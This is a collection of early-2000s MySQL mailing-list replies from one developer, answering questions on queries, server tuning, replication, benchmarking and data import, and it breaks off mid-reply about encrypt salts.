RE: MySQL Secure Replication
> >Mostly because it can't be done (that I'm aware of). > > Except with stunnel (often recommended) or SSH (which I've had running > for months doing this). Another option is CIPE, a method for secure tunnelling of any IP protocol using virtual network interfaces. I believe CIPE comes as standard with RedHat 7.x and above. Regards, Basil Hussain --- Internet Developer, Kodak Weddings E-Mail: [EMAIL PROTECTED] (filter bait: sql, query, queries, smallint) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: $Variables and Select statements
Hi,
> while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
>
> echo " ALIGN=left>".$line['name']." ALIGN=right>".$line['$wk']."";
>
> }
Here is your problem. Your are indeed substituting $wk into the query
correctly, but when you go to output the result rows you are not.
You should simply remove the quote marks from:
$line['$wk']
so that it is:
$line[$wk]
PHP does not interpret variable names in single-quoted strings - only in
double-quoted strings. With your current code, PHP is only looking for an
array element called '$wk', which doesn't exist!
In future, may I suggest you that post questions like this to the PHP
mailing list, as this is nothing to do with MySQL.
Regards,
Basil Hussain
---
Internet Developer, Kodak Weddings
E-Mail: [EMAIL PROTECTED]
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail <[EMAIL PROTECTED]>
To unsubscribe, e-mail <[EMAIL PROTECTED]>
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: Table gets wiped out!
Hi,
> $sth = $dbh -> prepare ("LOCK TABLES $table WRITE");
> die $dbh->errstr if (not defined ($sth -> execute));
>
> $sth = $dbh -> prepare ("DELETE FROM $table");
> die $dbh->errstr if (not defined ($sth -> execute));
>
> This truncated the table. Then I filled the table anew, and, at the end
> (before the UNLOCK), issued:
>
> $sth = $dbh -> prepare ("OPTIMIZE TABLE $table");
> die $dbh->errstr if (not defined ($sth -> execute));
One question... why are you bothering to optimize the table after inserting
new rows? In this case, there is no need!
Why? Well, when you issue the DELETE statement with no WHERE clause, MySQL
simply drops and re-creates your table, rather than deleting every row
individually. Therefore, when you are inserting new rows, it is effectively
a fresh table, with no wasted space from previously deleted rows. So, you
are not re-using any deleted rows at all.
Regards,
Basil Hussain
---
Internet Developer, Kodak Weddings
E-Mail: [EMAIL PROTECTED]
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail <[EMAIL PROTECTED]>
To unsubscribe, e-mail <[EMAIL PROTECTED]>
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: Is Table Name 'PURGE' ALLOWED
Hi, > To answer my own question yes this word is reserved. Yes, it is reserved, but you may still use it any query that you like, by quoting the name. To take from the manual: "Note that if the identifier is a restricted word or contains special characters you must always quote it with ` when you use it" So, your query would become: SELECT * FROM `purge` LIMIT 0,50 Hope that helps. Regards, Basil Hussain --- Internet Developer, Kodak Weddings E-Mail: [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: MySQL / Firewall
Hi, > The firewall doesn't have an entry for the MySQL service, so I create a > user-defined service and fill in the following details: > > SourcePort Low: 3306 > SourcePort High: 3306 > DestPort Low: 3306 > DestPort High: 3306 > Transport: TCP (choices are TCP-6, UDP-17, and Other) Your problem here is that the source port for connections to your MySQL server won't be coming from port 3306. In fact, the client chooses a random port. That's why your connections are failing in the client, because it can't initiate the connection in the first place. So, you need to specify a source port of 'any' instead of 3306. Regards, Basil Hussain --- Internet Developer, Kodak Weddings E-Mail: [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: Another question of Date.
Hi, > I got a small problem I like to be able to read a DATE but I don't want to > read the Year. I only want to read the month and the date. For example, I > like to read the a Birthday Field to see who Bithday is today. > Also like to > be later be able to read that same field but this time the year so that I > can see how old a person is. Is there any example on the net of this? I think what you really want is the following functions: * DAYOFMONTH() * MONTH() * YEAR() They all take as an argument a date field and return the appropriate part of the date. There are similar functions for hours, mins, secs, etc. See this section of the manual for more info: http://www.mysql.com/doc/D/a/Date_and_time_functions.html So, using your example of finding all records with date of birth the same as today, regardless of year, we would issue a query like this: SELECT dob FROM yourtable WHERE MONTH(dob) = MONTH(NOW()) AND DAYOFMONTH(dob) = DAYOFMONTH(NOW()); And, to see how old a person is, given their date of birth, you would do something like this: SELECT YEAR(NOW() - YEAR(dob) AS age FROM yourtable; Hope this helps. Regards, Basil Hussain --- Internet Developer, Kodak Weddings E-Mail: [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: Problems with UPDATE in v3.23.49 (is this a bug)
Hi, > I have a table whose schema contains: > id INTEGER AUTO_INCREMENT, > gen_time TIMESTAMP, > rec_time TIMESTAMP, > repeats INTEGER DEFAULT 0, > PRIMARY KEY (id), > INDEX (rec_time)) > > When I do an: > UPDATE table SET repeats=repeats+1 > > gen_time gets updated as well: [snip] > mysql> select id, gen_time, rec_time, repeats from table; > ++++-+ > | id | gen_time | rec_time | repeats | > ++++-+ > | 1 | 20020405112158 | 20020405111308 | 3 | > ++++-+ > 1 row in set (0.02 sec) > > Is this a bug or am I forgetting something? Are you expecting the second timestamp column in your table to be updated whenever you change a record? If so, I'm afraid you're outta luck. May I quote from the manual: "The TIMESTAMP column type provides a type that you can use to automatically mark INSERT or UPDATE operations with the current date and time. If you have multiple TIMESTAMP columns, only the first one is updated automatically." That last sentence may be of particular interest... So, to summarise, you do not have a bug. Regards, Basil Hussain --- Internet Developer, Kodak Weddings E-Mail: [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: Clustering MySQL was: Re: Best hardware for a very large MySQL server? looking at x86
Hi, > There are (very expensive >$30,000) ram disks that > may solve the I/O problem (it that is your problem). These are > hardware RAM > disks complete with onboard battery backup. It looks and acts just like a > super fast hard disk. If you turn the server off (or it crashes) the data > is still retained in RAM. To the OS it looks like another hard disk. I > looked at them a couple of years ago and they were very expensive for the > amount of RAM you get. Perhaps the prices have come down. But it would > certainly speed up your data access. Prices have certainly come down. I was recently reading about a PCI card solution with capacity from 512MB to 8GB. http://www.platypus.net/qikdrive_brochure.pdf A price I found for 2GB was about $5,000. Interestingly, it uses standard PC100 SDRAM. No on-board battery backup, but it has external backup power (to protect against data loss in the event of a server crash) and a UPS option. Regards, Basil Hussain --- Internet Developer, Kodak Weddings E-Mail: [EMAIL PROTECTED] (Filter bait: SQL, query, MySQL) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: Broken 'even number' rounding function
Hi, > Odd numbers round properly at the half (3.5) but even numbers > don't (4.5). This sounds like you're misunderstanding an intentional feature. A lot of applications or system libraries do this to avoid giving 'incorrect' figures when summing large amounts of rounded numbers. Here's an example. Take for instance a situation where you are averaging or summing a large number of rounded figures. If all figures with a 0.5 fractional part are rounded up, then your averages/totals aren't going to be quite right, producing an upwards skew. When you instead round down even figures, you get a more accurate total/average. This behaviour is also described in the manual: "Note that the behavior of ROUND() when the argument is half way between two integers depends on the C library implementation. Some round to the nearest even number, always up, always down, or always towards zero." So, this isn't a bug. It's MySQL just following the features of your system's C library. Regards, Basil Hussain --- Internet Developer, Kodak Weddings E-Mail: [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: A question about load / queries pr second
Hi, > > On the other hand though, it gives me some comfort that the hardware > > being used in my operation will meet any future needs. We have > > similar spec servers (P3-1Ghz dual-cpu, 512Mb RAM, 3x36Gb SCSI > > RAID5). Maybe I should try out mysql-super-smack and see what kind > > of numbers it turns up. :-) > > It would be interesting. Well, I finally got super-smack compiled and running (had to make a couple of amendments to die.cc and gen-data.cc - thanks Joshua S), so here are my results: # super-smack -d mysql select-key.smack 25 100 Query Barrel Report for client smacker1 connect: max=27ms min=0ms avg= 7ms from 25 clients Query_type num_queries max_timemin_timeq_per_s select_index50000 0 8271.83 # super-smack -d mysql update-select.smack 25 100 Query Barrel Report for client smacker connect: max=20ms min=0ms avg= 4ms from 25 clients Query_type num_queries max_timemin_timeq_per_s select_index25001 0 3154.04 update_index25001 0 3154.04 Performance peaks at 25 clients, with performance being lesser with fewer or greater numbers of connections. I find it strange that performance is relatively 'poor' with only 1 client (at 5153.31 q/sec) - must probably be something to do with caching. What's better though, is that performance at 250 clients is just as good as with one! This was on a machine with the spec. above and running Red Hat 7.0 (kernel 2.2.16-22enterprise) and MySQL 3.23.38 with the following config: set-variable = max_connections = 500 set-variable = key_buffer=256M set-variable = join_buffer_size=16M set-variable = sort_buffer=16M set-variable = record_buffer=16M set-variable = tmp_table_size=64M set-variable = table_cache=256 set-variable = thread_cache_size=16 set-variable = thread_concurrency=4 set-variable = back_log=100 set-variable = max_allowed_packet=2M set-variable = wait_timeout=240 skip-locking Regards, Basil Hussain --- Internet Developer, Kodak Weddings E-Mail: [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Trying to build MySQL super-smack - failing...
Hi all, I'm trying to build the MySQL super-smack benchmarking tools. I'm getting the following errors on make: make all-recursive make[1]: Entering directory `/root/rpms/super-smack-1.0' Making all in src make[2]: Entering directory `/root/rpms/super-smack-1.0/src' c++ -DHAVE_CONFIG_H -I. -I. -I.. -g -O2 -c client.cc c++ -DHAVE_CONFIG_H -I. -I. -I.. -g -O2 -c die.cc die.cc: In function `void die (int, char *, ...)': die.cc:25: `exit' undeclared (first use this function) die.cc:25: (Each undeclared identifier is reported only once for each function it appears in.) make[2]: *** [die.o] Error 1 make[2]: Leaving directory `/root/rpms/super-smack-1.0/src' make[1]: *** [all-recursive] Error 1 make[1]: Leaving directory `/root/rpms/super-smack-1.0' make: *** [all-recursive-am] Error 2 This is on a standard Red Hat 7.0 install and I have read the comment about gcc in the INSTALL file, but I thought making sure that I have the latest version of gcc (gcc-2.96-85), rather than downgrading to 2.95, would suffice. Is this the problem, or something else? Regards, Basil Hussain --- Internet Developer, Kodak Weddings E-Mail: [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: A question about load / queries pr second
Hi, > > > About a year ago, I used mysql-super-smack and was able to hit > > > 8,000 per second on our [then new] server. The highest I've > > > recorded on an actual production application was around 5,000. > > > But I don't watch the numbers closely very often... > > > > Just out of curiosity, on what hardware? > > This was Linux 2.2.x on a dual-cpu P3-850 with 1GB of RAM and 5 36GB > SCSI disks. I'm quite surprised that this level of performance is available from such standard (well, not standard as in 'common', but y'know what I mean...) hardware. The last I heard, 1K+ queries/sec was only being done on extremely high-end Sun enterprise-level machines. On the other hand though, it gives me some comfort that the hardware being used in my operation will meet any future needs. We have similar spec servers (P3-1Ghz dual-cpu, 512Mb RAM, 3x36Gb SCSI RAID5). Maybe I should try out mysql-super-smack and see what kind of numbers it turns up. :-) Regards, Basil Hussain --- Internet Developer, Kodak Weddings E-Mail: [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: INET_ATON
Hi, > i just tried using INET_ATON() and INET_NTOA() and i keep getting syntax > errors > am i missing something easy here? is this a known issue? perhaps a version > thing? i am running 3.22.32. Yes, you are missing something. If I may quote from the manual - in section F.2.20, "Changes in release 3.23.15" there is this: * Added functions INET_NTOA() and INET_ATON(). So, you need to upgrade your MySQL before you can use these functions. Regards, Basil Hussain --- Internet Developer, Kodak Weddings E-Mail: [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: Convert Outlook into MySQL
Hi, > Does anybody knows if there is an easy and fast way to convert MS Outlook > 2000 contacts database into a MySQL table? It should be very easy for you to export your Contacts folder to MySQL. Simply choose the 'Import and Export...' menu command and tell Outlook to export to a tab-seperated file. You can then import this file to MySQL using the LOAD DATA INFILE syntax. One thing to watch out for though is that any Outlook fields with line breaks in them will be exported with the contents of just these fields quoted with speech-marks. You will need to add a OPTIONALLY ENCLOSED BY '"' parameter to the LOAD DATA command. For example: LOAD DATA LOCAL INFILE 'outlook_contacts.txt' INTO TABLE tbl_name FIELDS TERMINATED BY '\t' OPTIONALLY ENCLOSED BY '"' LINES TERMINATED BY '\r\n'; Also, if you are looking to automate the process, then I'm sure you can write some VBScript to control the export from Outlook. > It's very important for for to have transferred into MySQL a 256 > chars key > that is being used from Outlook as the primary key for the contacts. I'm not sure what key field in Outlook you're referring to, but as far I can tell, all the fields that are present in the Contacts store are exported to the text file. Regards, Basil Hussain --- Internet Developer, Kodak Weddings E-Mail: [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: Capture "SHOW VARIABLES" to fie
Hi, > Is there a way to redirect the output of a MySQL statement like SHOW > VARIABLES to a file? This is extremely easy. On the command line, simply do the following: $ mysql -u youruser -p --execute="show variables" > yourfile.txt For info on various command line arguments (including alternative output formatting) consult the application's help, by entering: $ mysql --help Regards, Basil Hussain --- Internet Developer, Kodak Weddings E-Mail: [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: mySQL, MS SQL and a push subscription?
Hi, > We have to synchronise an MS SQL database in the USA with a mySQL > database in germany. The programmer who supports the database in the > USA likes to do that via a push-Subscription, which is an MS SQL > feature (not a very save feature I read!?). So, my question is: Is > there a way to do that with these different Databases? And if not: Is > there another way to connect an MS SQL- to a mySQL database to Publish > a Database from one server to another? I've searched Tutorials, > Newsgroups and Mailinglist-Archives for many hours without finding a > solution, so this list is my last chance. Please help, if you can. I'm not an expert on MS-SQL, but it seems to me the solution is pretty simple, but whether it takes advantage of the 'Push Subscription' method beloved of your MS-SQL admin is another matter. If you have your admin install MyODBC on to the MS-SQL NT server then I'm sure MS-SQL will be able to export any data required via this ODBC connection to your MySQL server. Check out MyODBC here: http://www.mysql.com/downloads/api-myodbc.html Regards, Basil Hussain --- Internet Developer, Kodak Weddings E-Mail: [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: database server upgrade
Hi, > Quick question about the SHOW TABLE STATUS command and the > Data_free info in > particular. > > You say: "If it is high, then it's time to run OPTIMIZE TABLE..." > > What is considered high? As I'm looking at my output, I see that > most of my > tables show a value of 0, however, some have a value around 300 > and some go > WAY high. Is 300 considered high? What you need to do is take a look at the Data_free figure in relation to the size of the table's data file itself, indicated by the Data_length figure. Let's take an example (extract of SHOW TABLE STATUS output edited for brevity): Data_length: 97128 Max_data_length: 25769803775 Index_length: 175104 Data_free: 234 If we take the Data_free figure (234 bytes) and divide it by the Data_length (97128 bytes) and work out a percentage value, then we can get a good idea of how much space is being wasted. In this case, it's: (234 / 97128) * 100 = 0.24% This is way less than one percent, so in this case it's no problem. But, I reckon that if you have more than several percent free space (say 10%) then you definitely need to optimise. Regards, Basil Hussain --- Internet Developer, Kodak Weddings E-Mail: [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: database server upgrade
Hi, > Strange. My understanding was that RAID 5 was good for read bandwidth > but that keeping the parity disk uptodate slowed it down for write > bandwidth. Well, what you say is almost true to a certain extent. Firstly, with RAID 5 parity is striped across the disks too, so there is no bottleneck with the parity writing, just a slight overhead. So, RAID 5 isn't the fastest RAID schema (that's RAID 0) but it's still faster than RAID 1, as the data still only has to be written once overall (as opposed to one copy on each disk). I've just thought of something else that might also warrant looking into. A few of the guys at MySQL advocate using RAID 0+1 for the greatest speed. As far as I remember, RAID 0+1 is where you have the data striped across two disks, and those disks are mirrored on another pair. > > Your Opened_tables figure is quite large, which means you are incurring > > extra I/O penalties as tables have to be constantly opened and > closed. You > > should try increasing your table_cache size. > > Its already 2024 (I've upped it from 128). What is the maximum > reasonable value on RedHat Linux 6.2 and a 2.2.X kernel. Would upgrading > to RedHat 7.1 and 2.4.x help? Hmm. I'm not sure exactly, but with RH 6.2 I don't think you'll be able to increase this much more as I seem to remember the file descriptor limit is 2000-something. I may be wrong though... (It may be only 6.0 that has that limit.) > > Slow_launch_threads should never be more than zero. And, seeing as your > > configured slow launch yardstick time is 2 seconds, this > indicates you may > > be starting to have a bottleneck here. You should trying setting a > > thread_cache_size of something like 32 - maybe higher. > > Ok. Although 1 out of 346,157 doesn't seem to be significant. After the > server has been up a week or two I can tell if this is significant. What > is the downside of a thread_cache? Why isn't it on by default? Having a thread cache is useful for environments with high frequencies of MySQL connections. When a client connects, a new thread is created (you may notice from the status variables that your Connections and Threads_created are the same figures). To quote from the manual: "When a client disconnects, the client's threads are put in the cache if there aren't more than thread_cache_size threads from before. All new threads are first taken from the cache, and only when the cache is empty is a new thread created." So, having a thread cache reduces latency on new connections to MySQL from client apps - which can only be a good thing, yes? Granted, 1 out of 346,157 isn't significant in itself, but it's a good idea to pre-empt a potential load problem. As far as I know, there is no downside of having a thread cache (aside from the inevitable memory usage, etc.). As for why it isn't turned on by default, I have no idea. > We are running everything through a 100 Mbps switch. > I can certainly take 3 or 4 very query instensive clients and set them > up to use read only clients. Does it make sense to do it that way? Also, > all the queries go through a perl module of mine, so I could distribute > everything, but does it make sense to distribute updates? It really depends on what replication topology you employ. If you go for a '1-way' or 'one master, many slaves' topology then having your read-only clients use the slave servers would make sense. All your read/write clients could also read in a distributed fashion but would write only to the master. If, however, you employed a '2-way' or 'many-masters' topology then the issue of distributing updates occurs. However, '2-way' replication has whole load of issues that you need to tip-toe around carefully (such as auto-increment fields clashing values). Unless your environment has a high update load too, then you probably don't need to worry about distributing updates. Regards, Basil Hussain --- Internet Developer, Kodak Weddings E-Mail: [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: database server upgrade
Hi, > Thank you very much for the detailed analysis! One question: > where did he get all this data from? You can show all of MySQL's status and configuration parameters by issuing these statements: SHOW STATUS; SHOW VARIABLES; Also, the following can come in handy if you want to see info about your tables: SHOW TABLE STATUS; The one piece of data that is particularly of relevance to performance tuning with the output from this is Data_free. This shows how much space has been allocated in the table but not used. If it is high, then it's time to run OPTIMIZE TABLE on that particular table to consolidate empty gaps. Regards, Basil Hussain --- Internet Developer, Kodak Weddings E-Mail: [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: database server upgrade
Hi, > > We currently have a dedicate server for MySQL. The server is a dual > > pentium III (1Ghz) with 2GB of RAM in it. It also has 2 18GB 10,000 > > RPM drives in it arranged in a Raid 1 configuration (mirror). > > Sometime in the next 3-6 months we will be maxing out its > > capacity. (We were maxed out a few days ago, but we added 1GB of RAM > > and cached some query results). The system is currently running > > RedHat Linux 6.2. > > > > While there are some non-optimal queries and maybe some variable tuning > > that we can and should do, we will need to upgrade at some point and its > > not obvious to me what the upgrade path is. > > Until we have more of an idea where your system is stressed, it's hard > to say. Are the CPUs maxed? I/O channels? RAM? If your system is getting stressed with disk I/O, then a good first step could be to move to a different RAID configuration. As you're running RAID 1, when writing data, each bit of data has to be written to both drives. If your environment involves a lot of INSERT queries, then it may be worth adding another disk and moving up to RAID 5. Alternatively, you might consider foresaking redundancy and going down to RAID 0. Also, are you running hardware or software RAID? If software, getting a dedicated RAID card will lessen the load on your CPUs. > > The axes of expansion I see are: > > 1) CPU speed (2 GHz processors?) > > 2) # of CPUs (quad processor, 8 processors?) > > 3) Multiple machines (replication) > > 4) More memory (current system maxes out at 4GB) > > 5) Different CPUs (SPARC, Alpha, IBM Power, HP-PA, Itanium) > > 6) Faster disks (15,000 RPM) > > 7) More disks (striping, different databases/tables on > different disks, > > MySQL striping) > > 8) Switch some high contention tables to InnoDB, BDB or > Gemini to avoid > > lock contention > > 9) Optimize server variables > > > > Which approach or combination of approaches is likely to double > > (quadruple?) our throughput at the best price performance? I have > > attached some info to help characterize our usage. > > Replication. You can do it with less expensive hardware. You'll get > good performance and probably be able to scale farther wit it. Of > course, you'll want to look at #9 before spending any money. And try > to get an idea of where your contention for resources is today. Yes, you should definitely look at option #9 first. Here's a few pointers to some things that immediately spring off the screen at me: | Open_tables | 1296 | | Open_files | 2180712| | Open_streams | 0 | | Opened_tables| 1277057| | table_cache | 2024 | Your Opened_tables figure is quite large, which means you are incurring extra I/O penalties as tables have to be constantly opened and closed. You should try increasing your table_cache size. | Slow_launch_threads | 1 | | Threads_cached | 0 | | Threads_created | 346157 | | thread_cache_size| 0 | Slow_launch_threads should never be more than zero. And, seeing as your configured slow launch yardstick time is 2 seconds, this indicates you may be starting to have a bottleneck here. You should trying setting a thread_cache_size of something like 32 - maybe higher. | Table_locks_immediate| 27157119 | | Table_locks_waited | 58498 | | Key_read_requests| 1535872968 | | Key_reads| 5560163| This is good. Table locks that had to be waited for are less than 1% of total locks. You don't seem to have too much of a problem with lock contention. Also, your ratio of key reads/requests is way less than 0.01, so no general problems with index usage on your queries. | Created_tmp_disk_tables | 415975 | | tmp_table_size | 2097144| Created_tmp_disk_tables could probably be a little lower. Try increasing your tmp_table_size memory figure to lessen the number of temp tables written to disk - 2Mb is probably quite small if you're shuffling large amounts of data. As for replication, there could be a couple of sticking points with this strategy that you may need to overcome. The first is whether your client applications (be they web scripts, custom apps, whatever) can easily be re-programmed to support distributing their SQL query load amongst several servers. Secondly, if you are chucking large amounts of data around and your servers are replicating it all, your networking may not be up to scratch. If you go for replication you should make sure you're running at least 100Mbps between your MySQL servers. (BTW, if in a closed environment, running 100Mbps to the clients might help also.) Looking at
RE: terminal display width?
Hi, > I like to chyeck my mysql db's/tables using the unix command line, and > doing a "select * from table". However some field are very long - varchar > 255 - is there a way to set the display width when viewing the data. ie - > so that binary/large text fields are truncated after a few characters. > That way I would be able to see all the columns clearly. Although you cannot get the mysql client program to truncate output of BLOB or TEXT fields, you can get it to output results in a format other than the default horizontal table style. If you terminate your query string with '\G' (as opposed to ';' or '\g') you will get the vertical output format, like so: mysql> select * from mytable limit 3\G *** 1. row *** category_code: 0 agent_code: 14427 *** 2. row *** category_code: 0 agent_code: 14562 *** 3. row *** category_code: 0 agent_code: 44114 3 rows in set (0.00 sec) This has the benefit of long text fields being wrapped on your display. Regards, Basil Hussain --- Internet Developer, Kodak Weddings E-Mail: [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: REPAIR TABLE question...
Hi, > The manual > > http://www.mysql.com/doc/R/E/REPAIR_TABLE.html > > mentions the QUICK and EXTENDED options for REPAIR TABLE. But it does > not say which is the default. Anyone know? I think the default might actually be neither. I think the two options correspond roughly to two options of the myisamchk program (unless someone can correct me). EXTENDED probably matches the '--extend-check' option and QUICK matches the '--quick' option. According to the help text they do this: --extend-check: "Try to recover every possible row from the data file. Normally this will also find a lot of garbage rows; Don't use this option if you are not totally desperate." --quick: "Faster repair by not modifying the data file. One can give a second '-q' to force myisamchk to modify the original datafile in case of duplicate keys." I agree that this section of the manual could do with some clarification. It only seems to talk about re-creating indexes... Regards, Basil Hussain --- Internet Developer, Kodak Weddings E-Mail: [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: [request] IP Address Functions
Hi, > > I have a feature request: How about adding a built-in function > to convert > > IP addresses from strings to "INT UNSIGNED", and another function to > > convert vice versa. > Have you taken a look at INET_ATON and INET_NTOA functions ?? Yes, you might want to take a read of section 7.4.12, 'Miscellaneous Functions', in the current MySQL manual: http://www.mysql.com/doc/M/i/Miscellaneous_functions.html I assume you must also be using an old version of MySQL, as these functions were only added in version 3.23.15, so you should upgrade your installation of MySQL. Regards, Basil Hussain --- Internet Developer, Kodak Weddings E-Mail: [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: User variables
Hi, > Are there any issues with user variables ( SET @variable:=) overflowing > memory on the server? > At any one > time I wouldn't need most of them, but I don't see any way of > removing them > once set. Might this be an issue, or is there some garbage collection > and/or memory limit on the variables. Should I clear them after > using them > by setting them to NULL? No, you don't need to clean up your variables after use. To quote from the manual: "All variables for a thread are automatically freed when the thread exits." So, when you close the connection to the MySQL server, your variables are unset automatically - but not for other connections, just your own (bear in mind that user variables set in one thread are not available server-wide). As for memory limits on variables, this may be one question for the developers to answer, is it mentions nothing about limits in the manual. Regards, Basil Hussain --- Internet Developer, Kodak Weddings E-Mail: [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Why can't I set user variables from a SHOW statement?
Hi all, Is there any reason why I can't do something like any of the following? SET @blah := SHOW VARIABLES LIKE 'server_id'; SHOW @blah := VARIABLES LIKE 'server_id'; It doesn't seem to work no matter which combinations of syntax I try. Is setting user variables only supported via the SET and SELECT statements? I think it's a shame that setting variables from SHOW results is missing. I think that this functionality should be added to MySQL as it could be handy in some places. (For those who are wondering, I'm attempting to come up with a neat solution to avoid using auto-increment columns with co-replication between two MySQL servers. My idea was to have the server itself come up with a unique ID consisting of something like the current timestamp plus a random number plus the server's ID, rolled up into a concise hash value. My PHP script would perform a query like above when it first connects and then uses the saved user-variable in all subsequent queries where a unique ID is required.) Regards, Basil Hussain --- Internet Developer, Kodak Weddings E-Mail: [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: encrypt wierdness
Hi,
> > > So where does mysql get its salt from? Is it a random salt?
> This confused the hell our of me for around an hour!
> > You should look MySQL manual not C crypt manpage ;). And yes, this is
> > random salt and makes life little bit more secure.
> Ok, so you can obtain a random result (thought that was what random()
> was for), but still cannot understand how this could be usefull.
If you take another look at the man page for the crypt() system call, you'll
